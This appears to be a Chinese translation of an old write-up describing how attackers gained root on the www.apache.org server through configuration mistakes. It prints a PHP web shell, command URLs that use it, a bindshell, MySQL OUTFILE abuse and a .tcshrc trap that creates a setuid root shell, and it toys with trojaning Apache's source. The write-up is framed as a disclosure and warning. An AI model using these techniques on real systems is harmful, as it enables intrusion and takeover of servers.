apache - 我们攻破了www.apache.org
我们攻破了www.apache.org
2004-04-23 15:18 pm来自：Linux文档
现载：Www.8s8s.coM
地址：无名
一、写在前面
这篇文章并不是发现了什么最新的漏洞，它只是指出了一个普通的配置错误--甚至连apache.org 的工作人员也会配置错误，所以这只是一个警告：修补你的系统， 才能防止恶意侵袭。
二、介绍
这里描述了我们如何在一周内成功地得到了运行www.apache.org的机器的root权限，并且将其主页面上的Powered by Apache图样（羽毛状的图画）改成了Powered by Microsoft BackOffice的图样，没有做其它的任何改动了--除了帮他们赶跑了另外(可能是恶意)的入侵者。
这里所描述的漏洞甚至不是apache相关的，它们仅仅是配置失误，其中之一是BugZilla的。但它的开发者在README文件中对配置方法做了详尽的描述，所以一切只能是使用者自己的责任了，apache的用户不必为此而担心的:)。
我们对www.apache.org进行尝试的原因是有太多的服务器上跑的都是阿帕奇了，如果它的主机是不安全的，那么入侵者就可能在它的源代码里放置后门，这会危及许多用户的利益。
当然我们不愿看到这种事发生，所以我们帮apache补上了漏洞——当然在得到了ROOT权限之后我们无法控制自己更改主页的欲望:)，开个小玩笑吧。
以下是整个入侵的过程：
1、ftproot == wwwroot
o+w dirs
在寻找apache httpserver想要查看新版本是否存在缓冲溢出的过程中—— 我们连接
上了ftp:/ftp.apache.org——和http://www.apache.org是同一个目录并且有一个可写的
目录存在！
于是我们写了一个小脚本wuh.php3包含了下面的语句：
<?
passthru($cmd);
?>
将它上传到了那个可写的目录中。
2、Our commands executed
所以，很方便的，id这个命令可以被下面的语句调用：
http://www.apache.org/thatdir/wuh.php3?cmd=id
而后再上传一些bindshell的程序并用类似
http://www.apache.org/thatdir/wuh.php3?cmd=gcc+-o+httpd+httpd.c
的语句来编译它，然后执行……
http://www.apache.org/thatdir/wuh.php3?cmd=./httpd
3、The shell
我们使用的bindshell程序是有密码验证的:)，相对安全一些。
现在我们可以telnet到端口65533——我们定义的端口绑定处了，这样我们得到了本 地nobody权限的进入权——因为cgi是以nobody身份运行的。
4、The apache.org box
在apache.org的机器里我们发现了:
-o=rx /root
-o=rx homedirs
apache.org 运行的是freebsd3.4的平台，我们不想仅仅通过缓冲区溢出或者乱七八糟 的exploit来得到root,让我们来试试仅仅通过他们自己配置的漏洞来得到最高权限吧！
5、Mysql
经过长时间的搜索，我们发现mysql是以root的权限运行的，并且可以本地运行， 因为apache.org还运行了bugzilla需要mysql帐号，并且将其用户名/密码明文存 放，所以很轻易的就可以获得mysql数据库的帐号密码。
我们下载了nportredird(从名字就可以知道应该是端口重定向的工具了)，并设置成 允许我的IP从23306端口接入并且重定向到本地的3306端口——这样我就能使用我的 mysql客户端了。
6、完全控制mysql，用它来建立文件
通过3306端口进入后，用bugs的帐号进入——BugZilla默认安装带来的安全问题之一吧…… 包括以root身份运行mysqld……。
用'SELECT ... INTO OUTFILE;'的方法，我们可以在任何地方以root的身份建立文件，这 些文件将是666权限的，无法覆盖其它文件，但它仍然是有用的，你准备如何利用它呢？无 法用.rhosts——任何人可读的.rhosts,rshd是不允许连接运行的，所以rsh无法利用。
7、添加/root/.tcshrc
于是我们决定给他下个套:)，于是我们在root的文件夹建立一个文件/root/.tcshrc
#!/bin/sh
cp /bin/sh /tmp/.rootsh
chmod 4755 /tmp/.rootsh
rm -f /root/.tcshrc
8、ROOT!!
就这么简单，现在我们可以等待某人来运行su了，很幸运的——我们没有等太久， 就得到了一个suid的shell，成为root后的事情也是同样微不足道的——更改主页 并且给主机的管理员发送了Email通知了存在的漏洞。
9、修补ftproot==wwwroot的漏洞
进入系统后我们做的另一件是建立ftproot，将dist移至ftproot/dist并且将ftproot 指向这个目录，将可写的目录更改成入侵者无法利用的，保持FTP服务不变……
10、我们可以做什么?
还记得去年发生在ftp.win.tue.nl的事吗？有人在tcp_wrappers里放了木马:)，如果 我们想这么做的话，就可以将木马放在阿帕奇里——编辑源程序并让大家来下载这个 有木马后门的版本，很刺激，不是吗:)
11、简要回顾：
发现ftproot==webroot--->可写的目录允许上传php3脚本--->mysqld以root运行，而且 缺乏密码保护……这就是配置错误所在了。
好了……一切顺利:)
---------------------------------------------------
译者注： 诚如作者所言，他们并没有利用什么最新漏洞，而仅仅是通过对webserver和数据库的一 些不当配置的利用，得到了系统的最高权限——事情还是发生在apache！呵，听来有些 夸张，但国内的情况呢……如果您关注系统安全的话，应该能知道的:(，不知道某些手 握大权的系统管理员们会不会多留点心……
敬请高手指点:mailto [email protected]